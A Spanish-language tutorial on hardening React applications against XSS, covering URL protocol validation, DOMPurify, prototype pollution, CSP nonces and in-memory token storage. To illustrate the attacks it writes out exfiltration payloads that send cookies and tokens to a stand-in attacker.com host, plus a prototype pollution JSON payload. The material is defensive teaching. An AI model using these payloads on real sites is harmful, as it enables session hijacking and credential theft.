Existe una idea errónea y sumamente peligrosa entre desarrolladores frontend: creer que el uso de React protege por sí mismo a una aplicación web frente a vulnerabilidades de tipo XSS (Cross-Site Scripting).
Es cierto que el compilador JSX escapa por defecto los valores de texto interpolados entre etiquetas de apertura y cierre:
const untrustedInput = '<script>alert("hacked")</script>';
// React renderiza un nodo de texto inofensivo:
// <script>alert("hacked")</script>
<div>{untrustedInput}</div>Sin embargo, esta protección básica resulta inútil ante un amplio abanico de vectores de ataque en entornos corporativos:
href, src, formAction y action interpretan directamente pseudoprotocolos como javascript: y vbscript:. El escape de entidades HTML no impide que el motor del navegador ejecute el código tras un clic o el envío de un formulario.dangerouslySetInnerHTML.localStorage o sessionStorage convierte cualquier vulnerabilidad en cualquiera de las librerías npm transitivas en un secuestro inmediato de sesión (Session Hijacking).iframe transparente e invisible dentro de un sitio malicioso si no se definen directivas estrictas de frame-ancestors.React únicamente protege el contenido de texto plano frente a inserciones ingenuas de etiquetas <script>. No valida esquemas de URL, no filtra la fusión de objetos en tiempo de ejecución, no previene mutaciones del parser del navegador ni blinda tokens frente a lecturas vía window y document.cookie. Las aplicaciones empresariales exigen una estrategia de defensa en profundidad (Defense in Depth) en cada capa: desde cabeceras HTTP hasta la gestión de memoria en el heap de JavaScript.
La seguridad en aplicaciones React de nivel empresarial se articula mediante el principio de Defensa en Profundidad (Defense in Depth): el compromiso de una capa nunca debe desencadenar la caída total de la infraestructura de seguridad.
┌────────────────────────────────────────────────────────────────────────┐
│ NIVEL 1: RED Y CABECERAS DE SEGURIDAD │
│ Content-Security-Policy (CSP) con Nonce criptográfico estricto │
│ script-src 'self' 'nonce-{RANDOM}' 'strict-dynamic'; │
│ frame-ancestors 'none'; base-uri 'self'; object-src 'none'; │
└───────────────────────────────────┬────────────────────────────────────┘
│ Bloquea la ejecución de scripts no autorizados
▼
┌────────────────────────────────────────────────────────────────────────┐
│ NIVEL 2: VALIDACIÓN Y SANEAMIENTO DE ENTRADA │
│ - DOMPurify: lista blanca inmutable de etiquetas y atributos │
│ - Validación estricta de protocolos URL (únicamente https: y http:) │
│ - Blindaje ante Prototype Pollution: Object.freeze / Object.create │
└───────────────────────────────────┬────────────────────────────────────┘
│ Neutraliza inyecciones en atributos y mXSS
▼
┌────────────────────────────────────────────────────────────────────────┐
│ NIVEL 3: ARQUITECTURA DE SESIÓN Y TOKENS │
│ - Refresh Token: cookies HttpOnly; Secure; SameSite=Strict │
│ - Access Token: estrictamente en memoria (In-Memory Heap closure) │
│ - Mecanismo Silent Refresh ante respuestas 401 con cola de espera │
└───────────────────────────────────┬────────────────────────────────────┘
│ Aísla credenciales frente a lecturas JS
▼
┌────────────────────────────────────────────────────────────────────────┐
│ NIVEL 4: RENDERIZADO DEFENSIVO DE COMPONENTES │
│ - Whitelist explícito de props en lugar de spreads ciegos │
│ - Primitivas protegidas: <SafeLink> y <SafeHtmlRenderer> │
│ - rel="noopener noreferrer nofollow" obligatorio en enlaces externos │
└────────────────────────────────────────────────────────────────────────┘Filtrado de javascript:, vbscript: y data: en enlaces interactivos (<a>, <form>, <iframe>, window.open).
Integración de DOMPurify con listas blancas estrictas y mitigación de mXSS en dangerouslySetInnerHTML.
Eliminación del spread ciego de props y saneamiento de cargas JSON frente a claves __proto__.
Creación de un hash criptográfico por petición y eliminación de unsafe-inline en las cabeceras CSP.
Eliminación de tokens de localStorage; Refresh Token en cookie HttpOnly y Access Token en memoria privada.
¿Por qué renderizar un enlace como <a href={userProvidedUrl}>Perfil</a> representa una vulnerabilidad XSS crítica a pesar del escape automático de JSX?
Insertar URLs sin sanear en href, src, formAction o action permite ejecutar código malicioso sin requerir etiquetas <script>:
// ❌ Componente vulnerable: un clic ejecutará el script en la sesión de la víctima
export function UserProfileLink({ websiteUrl }: { websiteUrl: string }) {
// Si websiteUrl = "javascript:fetch('https://attacker.com/steal?c='+document.cookie)"
return <a href={websiteUrl}>Sitio del usuario</a>;
}Para neutralizar este vector, creamos un componente blindado con validación de protocolos mediante el constructor nativo URL:
import React from 'react';
interface SafeLinkProps extends React.AnchorHTMLAttributes<HTMLAnchorElement> {
href: string;
fallbackText?: string;
}
const ALLOWED_PROTOCOLS = new Set(['https:', 'http:', 'mailto:', 'tel:']);
export function SafeLink({
href,
fallbackText,
children,
...restProps
}: SafeLinkProps) {
const isSafe = React.useMemo(() => {
try {
// Analizar respecto al origen para detectar cadenas malformadas
const parsed = new URL(href, window.location.origin);
return ALLOWED_PROTOCOLS.has(parsed.protocol);
} catch {
return false;
}
}, [href]);
if (!isSafe) {
return (
<span className="text-text-muted cursor-not-allowed">
{fallbackText ?? children}
</span>
);
}
// Protección explícita contra Reverse Tabnabbing y fuga de Referer
return (
<a
href={href}
target="_blank"
rel="noopener noreferrer nofollow"
{...restProps}
>
{children}
</a>
);
}Los analizadores de HTML del navegador normalizan el marcado al insertarlo en innerHTML (cierran etiquetas huérfanas, ajustan jerarquías). Los atacantes explotan esta conducta mediante Mutation XSS: cadenas aparentemente inocuas para expresiones regulares simples se reestructuran en scripts activos o disparadores onerror al ser analizadas por el navegador.
El renderizado dinámico seguro exige DOMPurify con listas blancas inmutables:
import React from 'react';
import DOMPurify from 'dompurify';
interface SafeHtmlRendererProps {
dirtyHtml: string;
className?: string;
}
export const SafeHtmlRenderer: React.FC<SafeHtmlRendererProps> = ({
dirtyHtml,
className,
}) => {
const cleanHtml = React.useMemo(() => {
return DOMPurify.sanitize(dirtyHtml, {
ALLOWED_TAGS: [
'b', 'i', 'em', 'strong', 'a', 'p', 'ul', 'ol', 'li', 'code', 'pre', 'blockquote'
],
ALLOWED_ATTR: ['href', 'target', 'rel', 'class'],
ALLOW_DATA_ATTR: false,
ADD_ATTR: ['target', 'rel'],
FORBID_TAGS: ['style', 'script', 'iframe', 'object', 'embed', 'form'],
FORBID_ATTR: ['onerror', 'onload', 'onclick', 'onmouseover', 'style'],
});
}, [dirtyHtml]);
return (
<div
className={className}
dangerouslySetInnerHTML={{ __html: cleanHtml }}
/>
);
};Una vulnerabilidad de Prototype Pollution ocurre cuando JSONs externos sin validar se fusionan recursivamente con objetos internos:
// ❌ Función de fusión recursiva vulnerable
function naiveDeepMerge(target: any, source: any) {
for (const key of Object.keys(source)) {
if (typeof source[key] === 'object' && source[key] !== null) {
if (!target[key]) target[key] = {};
naiveDeepMerge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
// Si source = JSON.parse('{"__proto__": {"dangerouslySetInnerHTML": {"__html": "<img src=x onerror=alert(1)>"}}}')
// ¡Object.prototype.dangerouslySetInnerHTML queda activo globalmente en TODOS los componentes!Combinado con el spread indiscriminado de props (<Component {...untrustedUserInput} />), las consecuencias son fatales:
// ❌ Spread ciego: el atacante puede inyectar propiedades internas del sistema
export function UserProfileCard({ rawData }: { rawData: Record<string, unknown> }) {
return <div {...rawData} className="user-profile" />;
}
// ✅ Patrón de producción: desestructuración estricta y lista blanca de propiedades
interface SafeUserData {
id: string;
displayName: string;
avatarUrl?: string;
}
export function SafeUserProfileCard({ id, displayName, avatarUrl }: SafeUserData) {
return (
<div data-user-id={id} className="user-profile">
<span>{displayName}</span>
{avatarUrl && <img src={avatarUrl} alt={displayName} loading="lazy" />}
</div>
);
}Las cabeceras Content Security Policy (CSP) impiden la ejecución de scripts no autorizados. Sin embargo, las aplicaciones React modernas necesitan ejecutar scripts de hidratación y cargar fragmentos dinámicos. La solución radica en los CSP Nonces: el servidor genera un token criptográfico único por petición y lo inyecta en las cabeceras y en las etiquetas <script> legítimas.
import { NextResponse, type NextRequest } from 'next/server';
export function middleware(request: NextRequest) {
// 1. Generar un token criptográfico aleatorio seguro
const nonce = Buffer.from(crypto.randomUUID()).toString('base64');
// 2. Definir directivas estrictas de CSP
// 'strict-dynamic' delega confianza a los fragmentos cargados dinámicamente por scripts con nonce
const cspHeader = `
default-src 'self';
script-src 'self' 'nonce-${nonce}' 'strict-dynamic';
style-src 'self' 'nonce-${nonce}';
img-src 'self' blob: data: https:;
font-src 'self';
object-src 'none';
base-uri 'self';
form-action 'self';
frame-ancestors 'none';
upgrade-insecure-requests;
`.replace(/\s{2,}/g, ' ').trim();
// 3. Inyectar nonce en las cabeceras de petición y respuesta
const requestHeaders = new Headers(request.headers);
requestHeaders.set('x-nonce', nonce);
requestHeaders.set('Content-Security-Policy', cspHeader);
const response = NextResponse.next({
request: {
headers: requestHeaders,
},
});
response.headers.set('Content-Security-Policy', cspHeader);
return response;
}Almacenar JWT Access Tokens en localStorage está prohibido en arquitecturas empresariales: cualquier script en el navegador puede acceder a dicho almacenamiento mediante window.localStorage.
Una arquitectura madura divide la sesión en dos capas:
HttpOnly; Secure; SameSite=Strict, completamente inaccesible para JavaScript./api/auth/refresh.El usuario envía credenciales. El servidor emite accessToken en JSON y fija la cookie HttpOnly refreshToken.
El Access Token se almacena en una variable privada de módulo, sin rastro en Web Storage.
La API devuelve 401 Unauthorized. El interceptor bloquea nuevas peticiones y las encola.
El navegador envía la cookie HttpOnly. El servidor valida la sesión y entrega un nuevo accessToken en memoria.
Las peticiones en cola se repiten con el nuevo token y entregan los datos a la interfaz.
¿Por qué la directiva 'strict-dynamic' en script-src es fundamental para aplicaciones React modernas?
A continuación se presenta un gestor de tokens en memoria con control de concurrencia mediante mutex, protección frente a tormentas de peticiones (Thundering Herd) y cliente authenticatedFetch:
/**
* Respuesta satisfactoria de renovación de token
*/
interface TokenResponse {
accessToken: string;
expiresInSeconds: number;
}
type RefreshSubscriber = (token: string | null) => void;
/**
* Gestor singleton de tokens en memoria.
* Completamente desacoplado de window.localStorage y sessionStorage.
*/
export class InMemoryAuthManager {
private static instance: InMemoryAuthManager | null = null;
private accessToken: string | null = null;
private expiresAt: number = 0;
private isRefreshing: boolean = false;
private refreshSubscribers: RefreshSubscriber[] = [];
private constructor() {}
public static getInstance(): InMemoryAuthManager {
if (!InMemoryAuthManager.instance) {
InMemoryAuthManager.instance = new InMemoryAuthManager();
}
return InMemoryAuthManager.instance;
}
/**
* Guarda el token en memoria con un margen temporal de seguridad.
* El margen de 30 segundos previene que el token expire durante el vuelo de la petición.
*/
public setToken(token: string, expiresInSeconds: number): void {
this.accessToken = token;
const safetyBufferMs = 30 * 1000;
this.expiresAt = Date.now() + Math.max(0, expiresInSeconds * 1000 - safetyBufferMs);
}
/**
* Purga el token en memoria al cerrar sesión o ante errores de autenticación
*/
public clearToken(): void {
this.accessToken = null;
this.expiresAt = 0;
}
/**
* Comprueba si el token actual ha caducado
*/
public isTokenExpired(): boolean {
if (!this.accessToken) return true;
return Date.now() >= this.expiresAt;
}
/**
* Obtiene un Access Token válido, iniciando la renovación silenciosa si ha expirado
*/
public async getValidToken(): Promise<string | null> {
if (this.accessToken && !this.isTokenExpired()) {
return this.accessToken;
}
// Si ya hay una renovación en curso, encolar la petición
if (this.isRefreshing) {
return new Promise<string | null>((resolve) => {
this.refreshSubscribers.push((freshToken) => {
resolve(freshToken);
});
});
}
return this.refreshAccessToken();
}
/**
* Ejecuta la rotación del token.
* El navegador adjunta automáticamente la cookie HttpOnly refreshToken.
*/
private async refreshAccessToken(): Promise<string | null> {
this.isRefreshing = true;
try {
const response = await fetch('/api/auth/refresh', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
});
if (!response.ok) {
this.clearToken();
this.notifySubscribers(null);
return null;
}
const data = (await response.json()) as TokenResponse;
this.setToken(data.accessToken, data.expiresInSeconds);
this.notifySubscribers(data.accessToken);
return data.accessToken;
} catch (error: unknown) {
this.clearToken();
this.notifySubscribers(null);
const errorMessage = error instanceof Error ? error.message : 'Error desconocido de autenticación';
console.error('[AuthSecurity] Error en silent refresh:', errorMessage);
return null;
} finally {
this.isRefreshing = false;
}
}
private notifySubscribers(token: string | null): void {
this.refreshSubscribers.forEach((callback) => callback(token));
this.refreshSubscribers = [];
}
}
export const authManager = InMemoryAuthManager.getInstance();
/**
* Cliente fetch con inyección automática de cabeceras Bearer
* y reintento transparente tras respuestas 401 Unauthorized.
*/
export async function authenticatedFetch(
input: RequestInfo | URL,
init?: RequestInit
): Promise<Response> {
let token = await authManager.getValidToken();
const headers = new Headers(init?.headers);
if (token) {
headers.set('Authorization', `Bearer ${token}`);
}
let response = await fetch(input, { ...init, headers });
// Ante un 401, invalidar el token, forzar renovación y reintentar una única vez
if (response.status === 401) {
authManager.clearToken();
token = await authManager.getValidToken();
if (token) {
headers.set('Authorization', `Bearer ${token}`);
response = await fetch(input, { ...init, headers });
}
}
return response;
}Se recurre frecuentemente a localStorage por la sencillez de mantener la sesión entre pestañas. Sin embargo, cualquier vulnerabilidad XSS (incluso un backdoor en una librería npm transitiva) permite extraer el token con una sola instrucción: new Image().src = 'https://attacker.com/steal?t=' + localStorage.getItem('token').
// ❌ Fallo crítico: el token queda expuesto a cualquier script que se ejecute en la página
localStorage.setItem('access_token', token);
// ✅ Estándar empresarial: Refresh Token en cookie HttpOnly + Access Token en memoria
// ¡document.cookie no puede acceder a cookies HttpOnly!
authManager.setToken(token, expiresIn);Pasar objetos externos sin validar <Component {...untrustedUserInput} /> permite a un atacante inyectar propiedades reservadas como dangerouslySetInnerHTML, onLoad o manipular la cadena de prototipos mediante __proto__.
// ❌ Antipatrón: el atacante inyecta dangerouslySetInnerHTML desde una carga JSON
export function UserBadge({ profile }: { profile: Record<string, unknown> }) {
return <div {...profile} className="badge" />;
}
// ✅ Patrón de producción: desestructuración explícita y lista blanca de propiedades
export function SafeUserBadge({ name, role }: { name: string; role: string }) {
return (
<div className="badge">
<span>{name}</span>
<small>{role}</small>
</div>
);
}Intentar resolver rápidamente bloqueos de estilos o scripts inline añadiendo 'unsafe-inline' desactiva por completo la protección de Content Security Policy frente a inyecciones XSS. El navegador ejecutará cualquier etiqueta <script> inyectada y controladores inline (onload, onerror). Utilice siempre nonces criptográficos o hashes SHA-256.
Abrir enlaces externos en pestañas nuevas sin noopener permite a la página de destino acceder a window.opener, posibilitando ataques de Reverse Tabnabbing (redirección de la pestaña original a un sitio fraudulento mediante window.opener.location = 'https://fake-login.com').
href, src y formAction exigen validación de protocolos mediante la API nativa URL.dangerouslySetInnerHTML solo debe emplearse en conjunción con DOMPurify y listas blancas inmutables para mitigar Mutation XSS (mXSS).{...untrustedData}) expone la aplicación a Prototype Pollution: aplique desestructuración estricta en TypeScript y listas blancas.'strict-dynamic' bloquea la ejecución de scripts no autorizados.localStorage es inviable en entornos empresariales: el estándar de la industria es Access Token en memoria + Refresh Cookie HttpOnly con cola de renovación silenciosa.